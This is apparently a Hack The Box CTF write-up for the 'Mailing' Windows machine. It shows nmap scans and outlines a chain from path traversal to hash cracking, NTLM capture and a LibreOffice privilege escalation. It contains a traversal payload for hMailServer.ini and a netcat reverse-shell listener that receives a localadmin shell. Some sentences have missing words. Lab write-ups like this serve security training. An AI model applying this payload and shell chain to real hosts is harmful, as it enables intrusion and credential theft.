Mailing is an easy Windows machine that runs hMailServer and hosts a website vulnerable to Path Traversal. This vulnerability can be exploited to access the hMailServer configuration file, revealing the Administrator password hash. Cracking this hash provides the Administrator password for the email account. We leverage in the Windows Mail application on the remote host to capture the NTLM hash for user maya. We can then crack this hash to obtain the password and log in as user maya via WinRM. For privilege escalation, we exploit in LibreOffice.
Enumeration
Scope
IP Address 10.10.11.14
Nmap Scan
From Machine name, I can guess there is mailing services running on that machine, So I'll scan known mailing ports first
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Mailing]
└─$ nmap -p25,110,143,465,993,995 $ip -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-27 18:48 EDT
Nmap scan report for 10.10.11.14
Host is up (0.45s latency).
PORT STATE SERVICE
25/tcp open smtp
110/tcp open pop3
143/tcp open imap
465/tcp open smtps
993/tcp open imaps
995/tcp filtered pop3s
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Mailing]
└─$ nmap -p5985,5986 $ip -Pn
PORT STATE SERVICE
5985/tcp open wsman
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Mailing]
└─$ nmap -F $ip -Pn
25/tcp open smtp
80/tcp open http
110/tcp open pop3
135/tcp open msrpc
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
465/tcp open smtps
587/tcp open submission
993/tcp open imaps
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Mailing]
└─$ nmap -p- --min-rate 10000 $ip -Pn -v -oN all_ports_scan
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
135/tcp open msrpc
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
465/tcp open smtps
587/tcp open submission
993/tcp open imaps
5040/tcp open unknown
5985/tcp open wsman
7680/tcp open pando-pub
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
57845/tcp open unknown
* Open ports: 25, 80, 110, 143, 445, 139, 465, 587, 993
* UDP Open ports: No udp port
* Services: smtp - http - imap -pop3 - rpc - smb - imaps - smtps - winRM
* Versions:hMailServer smtpd - IIS httpd 10.0 - hMailServer pop3d
* Important Notes: No kerberos or ldap, There is no AD
* 5040/tcp open unknown
* 7680/tcp open pando-pub?
Get installation path after install the server locally and the setting file name from docs ..\..\..\Program+Files+(x86)\hMailServer\bin\hMailServer.ini
┌──(kali㉿kali)-[~/…/HTB/machines/Mailing/CVE-2023-2255]
└─$ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.31] from (UNKNOWN) [10.10.11.14] 53112
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\LibreOffice\program>whoami
mailing\localadmin
